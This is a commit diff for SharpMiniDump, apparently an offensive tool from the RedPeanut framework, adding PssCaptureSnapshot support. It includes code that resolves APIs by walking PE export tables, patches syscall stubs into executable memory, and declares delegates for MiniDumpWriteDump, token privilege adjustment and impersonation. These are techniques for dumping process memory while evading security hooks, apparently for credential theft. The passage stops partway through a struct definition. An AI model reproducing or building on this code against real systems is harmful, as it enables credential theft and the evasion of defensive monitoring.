Add PssCaptureSnapshot

SharpMiniDump/CustomLoadLibrary.cs

@@ -0,0 +1,169 @@
+//
+// Author: B4rtik (@b4rtik)
+// Project: RedPeanut (https://github.com/b4rtik/RedPeanut)
+// License: BSD 3-Clause
+//
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace SharpMiniDump
+{
+    public class CustomLoadLibrary
+    {
+        /// <summary>
+        /// Resolves LdrLoadDll and uses that function to load a DLL from disk.
+        /// </summary>
+        /// <author>Ruben Boonen (@FuzzySec)</author>
+        /// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
+        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
+        public static IntPtr LoadModuleFromDisk(string DLLPath)
+        {
+            Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING();
+            Natives.RtlInitUnicodeString(ref uModuleName, DLLPath);
+
+            IntPtr hModule = IntPtr.Zero;
+            Natives.NTSTATUS CallResult = (Natives.NTSTATUS)Natives.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
+            if (CallResult != Natives.NTSTATUS.Success || hModule == IntPtr.Zero)
+            {
+                return IntPtr.Zero;
+            }
+
+            return hModule;
+        }
+
+        public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false)
+        {
+            IntPtr hModule = GetLoadedModuleAddress(DLLName);
+            if (hModule == IntPtr.Zero && CanLoadFromDisk)
+            {
+                hModule = LoadModuleFromDisk(DLLName);
+                if (hModule == IntPtr.Zero)
+                {
+                    throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
+                }
+            }
+            else if (hModule == IntPtr.Zero)
+            {
+                throw new DllNotFoundException(DLLName + ", Dll was not found.");
+            }
+
+            return hModule;
+        }
+
+        /// <summary>
+        /// Helper for getting the pointer to a function from a DLL loaded by the process.
+        /// </summary>
+        /// <author>Ruben Boonen (@FuzzySec)</author>
+        /// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
+        /// <param name="FunctionName">Name of the exported procedure.</param>
+        /// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
+        /// <returns>IntPtr for the desired function.</returns>
+        public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
+        {
+            IntPtr hModule = GetLoadedModuleAddress(DLLName);
+            if (hModule == IntPtr.Zero && CanLoadFromDisk)
+            {
+                hModule = LoadModuleFromDisk(DLLName);
+                if (hModule == IntPtr.Zero)
+                {
+                    throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
+                }
+            }
+            else if (hModule == IntPtr.Zero)
+            {
+                throw new DllNotFoundException(DLLName + ", Dll was not found.");
+            }
+
+            return GetExportAddress(hModule, FunctionName);
+        }
+
+        /// <summary>
+        /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing.
+        /// </summary>
+        /// <author>Ruben Boonen (@FuzzySec)</author>
+        /// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
+        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
+        public static IntPtr GetLoadedModuleAddress(string DLLName)
+        {
+            ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
+            foreach (ProcessModule Mod in ProcModules)
+            {
+                if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
+                {
+                    return Mod.BaseAddress;
+                }
+            }
+
+            return IntPtr.Zero;
+        }
+        /// <summary>
+        /// Given a module base address, resolve the address of a function by manually walking the module export table.
+        /// </summary>
+        /// <author>Ruben Boonen (@FuzzySec)</author>
+        /// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
+        /// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
+        /// <returns>IntPtr for the desired function.</returns>
+        public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
+        {
+            IntPtr FunctionPtr = IntPtr.Zero;
+            try
+            {
+                // Traverse the PE header in memory
+                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
+                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
+                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
+                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
+                Int64 pExport = 0;
+                if (Magic == 0x010b)
+                {
+                    pExport = OptHeader + 0x60;
+                }
+                else
+                {
+                    pExport = OptHeader + 0x70;
+                }
+
+                // Read -> IMAGE_EXPORT_DIRECTORY
+                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
+                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
+                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
+                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
+                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
+                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
+                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
+
+                // Loop the array of export name RVA's
+                for (int i = 0; i < NumberOfNames; i++)
+                {
+                    String FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
+                    if (FunctionName.ToLower() == ExportName.ToLower())
+                    {
+                        Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
+                        Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
+                        FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
+                        break;
+                    }
+                }
+            }
+            catch
+            {
+                // Catch parser failure
+                throw new InvalidOperationException("Failed to parse module exports.");
+            }
+
+            if (FunctionPtr == IntPtr.Zero)
+            {
+                // Export not found
+                throw new MissingMethodException(ExportName + ", export not found.");
+            }
+            return FunctionPtr;
+        }
+    }
+}

SharpMiniDump/NativeSysCall.cs

@@ -82,7 +82,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect(memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -106,7 +106,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect( memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -130,7 +130,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect( memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -154,7 +154,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect(memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -178,7 +178,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect(memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -202,7 +202,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect(memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -226,7 +226,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect(memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -260,7 +260,7 @@ namespace SharpMiniDump
 
                     IntPtr memoryAddress = (IntPtr)ptr;
 
-                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+                    if (!Natives.VirtualProtect(memoryAddress,
                         (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                     {
                         throw new Win32Exception();
@@ -343,6 +343,74 @@ namespace SharpMiniDump
             [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
             public delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
 
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate int LdrLoadDll(IntPtr PathToFile,
+                UInt32 dwFlags,
+                ref Natives.UNICODE_STRING ModuleFileName,
+                ref IntPtr ModuleHandle);
+
+            
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken);
+            
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool RevertToSelf();
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate Boolean ImpersonateLoggedOnUser(IntPtr hToken);
+            
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate IntPtr GetCurrentProcess();
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool CloseHandle(IntPtr handle);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);
+            
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes);
+
+            [SuppressUnmanagedCodeSecurity]
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle);
+
+            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+            public delegate bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam,  IntPtr CallbackInput, IntPtr CallbackOutput);
         }
     }
 }

SharpMiniDump/Natives.cs

@@ -766,6 +766,10 @@ namespace SharpMiniDump
             MaxSystemInfoClass = 0x0095
         }
 
+        public struct TOKEN_ELEVATION {
+            public int TokenIsElevated;
+        }
+
         public enum TOKEN_INFORMATION_CLASS
         {
             TokenUser = 1,
@@ -810,7 +814,7 @@ namespace SharpMiniDump
             TokenIsRestricted,
             MaxTokenInfoClass
         }
-
+        
         public enum TOKEN_ELEVATION_TYPE
         {
             TokenElevationTypeDefault = 1,
@@ -818,28 +822,656 @@ namespace SharpMiniDump
             TokenElevationTypeLimited
         }
 
+        public enum PSS_CAPTURE_FLAGS {
+            PSS_CAPTURE_NONE,
+            PSS_CAPTURE_VA_CLONE,
+            PSS_CAPTURE_RESERVED_00000002,
+            PSS_CAPTURE_HANDLES,
+            PSS_CAPTURE_HANDLE_NAME_INFORMATION,
+            PSS_CAPTURE_HANDLE_BASIC_INFORMATION,
+            PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION,
+            PSS_CAPTURE_HANDLE_TRACE,
+            PSS_CAPTURE_THREADS,
+            PSS_CAPTURE_THREAD_CONTEXT,
+            PSS_CAPTURE_THREAD_CONTEXT_EXTENDED,
+            PSS_CAPTURE_RESERVED_00000400,
+            PSS_CAPTURE_VA_SPACE,
+            PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION,
+            PSS_CAPTURE_IPT_TRACE,
+            PSS_CREATE_BREAKAWAY_OPTIONAL,
+            PSS_CREATE_BREAKAWAY,
+            PSS_CREATE_FORCE_BREAKAWAY,
+            PSS_CREATE_USE_VM_ALLOCATIONS,
+            PSS_CREATE_MEASURE_PERFORMANCE,
+            PSS_CREATE_RELEASE_SECTION
+        }
 
-        [DllImport("kernel32.dll")]
+        public enum MINIDUMP_CALLBACK_TYPE : uint
-        public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+        {
+            ModuleCallback,
+            ThreadCallback,
+            ThreadExCallback,
+            IncludeThreadCallback,
+            IncludeModuleCallback,
+            MemoryCallback,
+            CancelCallback,
+            WriteKernelMinidumpCallback,
+            KernelMinidumpStatusCallback,
+            RemoveMemoryCallback,
+            IncludeVmRegionCallback,
+            IoStartCallback,
+            IoWriteAllCallback,
+            IoFinishCallback,
+            ReadMemoryFailureCallback,
+            SecondaryFlagsCallback,
+            IsProcessSnapshotCallback,
+            VmStartCallback,
+            VmQueryCallback,
+            VmPreReadCallback,
+            VmPostReadCallback
+        }
 
-        [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
-        public extern static IntPtr LoadLibraryA(string dllName);
+        public unsafe struct MINIDUMP_THREAD_CALLBACK
+        {
+            public uint ThreadId;
+            public IntPtr ThreadHandle;
+            public fixed byte Context[1232];
+            public uint SizeOfContext;
+            public ulong StackBase;
+            public ulong StackEnd;
+        }
 
-        [DllImport("kernel32.dll")]
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
-        public extern static IntPtr GetProcAddress(IntPtr dllAddr, string procName);
+        public struct MINIDUMP_THREAD_EX_CALLBACK
+        {
+            public MINIDUMP_THREAD_CALLBACK BasePart;
+            public ulong BackingStoreBase;
+            public ulong BackingStoreEnd;
+        }
 
-        [DllImport("kernel32.dll")]
+        enum VS_FIXEDFILEINFO_FileFlags : uint
-        public static extern bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
+        {
+            VS_FF_DEBUG = 0x00000001,
+            VS_FF_INFOINFERRED = 0x00000010,
+            VS_FF_PATCHED = 0x00000004,
+            VS_FF_PRERELEASE = 0x00000002,
+            VS_FF_PRIVATEBUILD = 0x00000008,
+            VS_FF_SPECIALBUILD = 0x00000020
+        }
 
-        [DllImport("advapi32.dll", SetLastError = true)]
+        enum VS_FIXEDFILEINFO_FileOSFlags : uint
-        public static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);
+        {
+            VOS_DOS = 0x00010000,
+            VOS_NT = 0x00040000,
+            VOS__WINDOWS16 = 0x00000001,
+            VOS__WINDOWS32 = 0x00000004,
+            VOS_OS216 = 0x00020000,
+            VOS_OS232 = 0x00030000,
+            VOS__PM16 = 0x00000002,
+            VOS__PM32 = 0x00000003,
+            VOS_UNKNOWN = 0x00000000
+        }
 
-        [DllImport("advapi32.dll", SetLastError = true)]
+        enum VS_FIXEDFILEINFO_FileTypeFlags : uint
-        public static extern bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid);
+        {
+            VFT_APP = 0x00000001,
+            VFT_DLL = 0x00000002,
+            VFT_DRV = 0x00000003,
+            VFT_FONT = 0x00000004,
+            VFT_STATIC_LIB = 0x00000007,
+            VFT_UNKNOWN = 0x00000000,
+            VFT_VXD = 0x00000005
+        }
 
-        [DllImport("advapi32.dll", SetLastError = true)]
+        enum VS_FIXEFILEINFO_FileSubTypeFlags : uint
-        public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes);
+        {
+            // If the FileType is VFT_DRV
+            VFT2_DRV_COMM = 0x0000000A,
+            VFT2_DRV_DISPLAY = 0x00000004,
+            VFT2_DRV_INSTALLABLE = 0x00000008,
+            VFT2_DRV_KEYBOARD = 0x00000002,
+            VFT2_DRV_LANGUAGE = 0x00000003,
+            VFT2_DRV_MOUSE = 0x00000005,
+            VFT2_DRV_NETWORK = 0x00000006,
+            VFT2_DRV_PRINTER = 0x00000001,
+            VFT2_DRV_SOUND = 0x00000009,
+            VFT2_DRV_SYSTEM = 0x00000007,
+            VFT2_DRV_VERSIONED_PRINTER = 0x0000000C,
+
+            // If the FileType is VFT_FONT
+            VFT2_FONT_RASTER = 0x00000001,
+            VFT2_FONT_TRUETYPE = 0x00000003,
+            VFT2_FONT_VECTOR = 0x00000002,
+
+            VFT2_UNKNOWN = 0x00000000
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct VS_FIXEDFILEINFO
+        {
+            public uint dwSignature;
+            public uint dwStrucVersion;
+            public uint dwFileVersionMS;
+            public uint dwFileVersionLS;
+            public uint dwProductVersionMS;
+            public uint dwProductVersionLS;
+            public uint dwFileFlagsMask;
+            public uint dwFileFlags;
+            public uint dwFileOS;
+            public uint dwFileType;
+            public uint dwFileSubtype;
+            public uint dwFileDateMS;
+            public uint dwFileDateLS;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MINIDUMP_MODULE_CALLBACK
+        {
+            public IntPtr FullPath; // This is a PCWSTR
+            public ulong BaseOfImage;
+            public uint SizeOfImage;
+            public uint CheckSum;
+            public uint TimeDateStamp;
+            public VS_FIXEDFILEINFO VersionInfo;
+            public IntPtr CvRecord;
+            public uint SizeOfCvRecord;
+            public IntPtr MiscRecord;
+            public uint SizeOfMiscRecord;
+        }
+
+        public struct MINIDUMP_INCLUDE_THREAD_CALLBACK
+        {
+            public uint ThreadId;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MINIDUMP_INCLUDE_MODULE_CALLBACK
+        {
+            public ulong BaseOfImage;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MINIDUMP_IO_CALLBACK
+        {
+            public IntPtr Handle;
+            public ulong Offset;
+            public IntPtr Buffer;
+            public uint BufferBytes;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MINIDUMP_READ_MEMORY_FAILURE_CALLBACK
+        {
+            public ulong Offset;
+            public uint Bytes;
+            public int FailureStatus; // HRESULT
+        }
+
+        [Flags]
+        public enum MINIDUMP_SECONDARY_FLAGS : uint
+        {
+            MiniSecondaryWithoutPowerInfo = 0x00000001
+        }
+
+        [StructLayout(LayoutKind.Explicit)]
+        public struct MINIDUMP_CALLBACK_INPUT
+        {
+
+        const int CallbackTypeOffset = 4 + 8;
+
+            const int UnionOffset = CallbackTypeOffset + 4;
+
+            [FieldOffset(0)]
+            public uint ProcessId;
+            [FieldOffset(4)]
+            public IntPtr ProcessHandle;
+            [FieldOffset(CallbackTypeOffset)]
+            public MINIDUMP_CALLBACK_TYPE CallbackType;
+
+            [FieldOffset(UnionOffset)]
+            public int Status; // HRESULT
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_THREAD_CALLBACK Thread;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_THREAD_EX_CALLBACK ThreadEx;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_MODULE_CALLBACK Module;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_IO_CALLBACK Io;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure;
+            [FieldOffset(UnionOffset)]
+            public MINIDUMP_SECONDARY_FLAGS SecondaryFlags;
+        }
+
+        public enum STATE : uint
+        {
+            MEM_COMMIT = 0x1000,
+            MEM_FREE = 0x10000,
+            MEM_RESERVE = 0x2000
+        }
+
+        public enum TYPE : uint
+        {
+            MEM_IMAGE = 0x1000000,
+            MEM_MAPPED = 0x40000,
+            MEM_PRIVATE = 0x20000
+        }
+
+        [Flags]
+        public enum PROTECT : uint
+        {
+            PAGE_EXECUTE = 0x10,
+            PAGE_EXECUTE_READ = 0x20,
+            PAGE_EXECUTE_READWRITE = 0x40,
+            PAGE_EXECUTE_WRITECOPY = 0x80,
+            PAGE_NOACCESS = 0x01,
+            PAGE_READONLY = 0x02,
+            PAGE_READWRITE = 0x04,
+            PAGE_WRITECOPY = 0x08,
+            PAGE_TARGETS_INVALID = 0x40000000,
+            PAGE_TARGETS_NO_UPDATE = 0x40000000,
+
+            PAGE_GUARD = 0x100,
+            PAGE_NOCACHE = 0x200,
+            PAGE_WRITECOMBINE = 0x400
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MINIDUMP_MEMORY_INFO
+        {
+            public ulong BaseAddress;
+            public ulong AllocationBase;
+            public uint AllocationProtect;
+            public uint __alignment1;
+            public ulong RegionSize;
+            public STATE State;
+            public PROTECT Protect;
+            public TYPE Type;
+            public uint __alignment2;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MemoryCallbackOutput
+        {
+            public ulong MemoryBase;
+            public uint MemorySize;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct CancelCallbackOutput
+        {
+            [MarshalAs(UnmanagedType.Bool)]
+            public bool CheckCancel;
+            [MarshalAs(UnmanagedType.Bool)]
+            public bool Cancel;
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 4)]
+        public struct MemoryInfoCallbackOutput
+        {
+            public MINIDUMP_MEMORY_INFO VmRegion;
+            [MarshalAs(UnmanagedType.Bool)]
+            public bool Continue;
+        }
+
+        [Flags]
+        public enum THREAD_WRITE_FLAGS : uint
+        {
+            ThreadWriteThread = 0x0001,
+            ThreadWriteStack = 0x0002,
+            ThreadWriteContext = 0x0004,
+            ThreadWriteBackingStore = 0x0008,
+            ThreadWriteInstructionWindow = 0x0010,
+            ThreadWriteThreadData = 0x0020,
+            ThreadWriteThreadInfo = 0x0040
+        }
+
+        [Flags]
+        public enum MODULE_WRITE_FLAGS : uint
+        {
+            ModuleWriteModule = 0x0001,
+            ModuleWriteDataSeg = 0x0002,
+            ModuleWriteMiscRecord = 0x0004,
+            ModuleWriteCvRecord = 0x0008,
+            ModuleReferencedByMemory = 0x0010,
+            ModuleWriteTlsData = 0x0020,
+            ModuleWriteCodeSegs = 0x0040
+        }
+
+        [StructLayout(LayoutKind.Explicit, Pack = 4)]
+        public struct MINIDUMP_CALLBACK_OUTPUT
+        {
+            [FieldOffset(0)]
+            public MODULE_WRITE_FLAGS ModuleWriteFlags;
+            [FieldOffset(0)]
+            public THREAD_WRITE_FLAGS ThreadWriteFlags;
+            [FieldOffset(0)]
+            public uint SecondaryFlags;
+            [FieldOffset(0)]
+            public MemoryCallbackOutput Memory;
+            [FieldOffset(0)]
+            public CancelCallbackOutput Cancel;
+            [FieldOffset(0)]
+            public IntPtr Handle;
+            [FieldOffset(0)]
+            public MemoryInfoCallbackOutput MemoryInfo;
+            [FieldOffset(0)]
+            public int Status; // HRESULT
+        }
+
+        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
+        [return: MarshalAs(UnmanagedType.Bool)]
+        public delegate bool MINIDUMP_CALLBACK_ROUTINE(
+            [In] IntPtr CallbackParam,
+            [In] ref MINIDUMP_CALLBACK_INPUT CallbackInput,
+            [In, Out] ref MINIDUMP_CALLBACK_OUTPUT CallbackOutput
+            );
+
+        public struct MINIDUMP_CALLBACK_INFORMATION
+        {
+            public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;
+            public IntPtr CallbackParam;
+        }
+
+        public enum CONTEXT_FLAGS : uint
+        {
+            CONTEXT_i386 = 0x10000,
+            CONTEXT_i486 = 0x10000,   //  same as i386
+            CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
+            CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
+            CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
+            CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
+            CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
+            CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
+            CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
+            CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
+        }
+
+        [StructLayout(LayoutKind.Sequential)]
+        public struct M128A
+        {
+            public ulong High;
+            public long Low;
+
+            public override string ToString()
+            {
+                return string.Format("High:{0}, Low:{1}", this.High, this.Low);
+            }
+        }
+
+        /// <summary>
+        /// x64
+        /// </summary>
+        [StructLayout(LayoutKind.Sequential, Pack = 16)]
+        public struct XSAVE_FORMAT64
+        {
+            public ushort ControlWord;
+            public ushort StatusWord;
+            public byte TagWord;
+            public byte Reserved1;
+            public ushort ErrorOpcode;
+            public uint ErrorOffset;
+            public ushort ErrorSelector;
+            public ushort Reserved2;
+            public uint DataOffset;
+            public ushort DataSelector;
+            public ushort Reserved3;
+            public uint MxCsr;
+            public uint MxCsr_Mask;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+            public M128A[] FloatRegisters;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
+            public M128A[] XmmRegisters;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
+            public byte[] Reserved4;
+        }
+
+        
+
+        /// <summary>
+        /// x64
+        /// </summary>
+        [StructLayout(LayoutKind.Sequential, Pack = 16)]
+        public struct CONTEXT
+        {
+            public ulong P1Home;
+            public ulong P2Home;
+            public ulong P3Home;
+            public ulong P4Home;
+            public ulong P5Home;
+            public ulong P6Home;
+
+            public CONTEXT_FLAGS ContextFlags;
+            public uint MxCsr;
+
+            public ushort SegCs;
+            public ushort SegDs;
+            public ushort SegEs;
+            public ushort SegFs;
+            public ushort SegGs;
+            public ushort SegSs;
+            public uint EFlags;
+
+            public ulong Dr0;
+            public ulong Dr1;
+            public ulong Dr2;
+            public ulong Dr3;
+            public ulong Dr6;
+            public ulong Dr7;
+
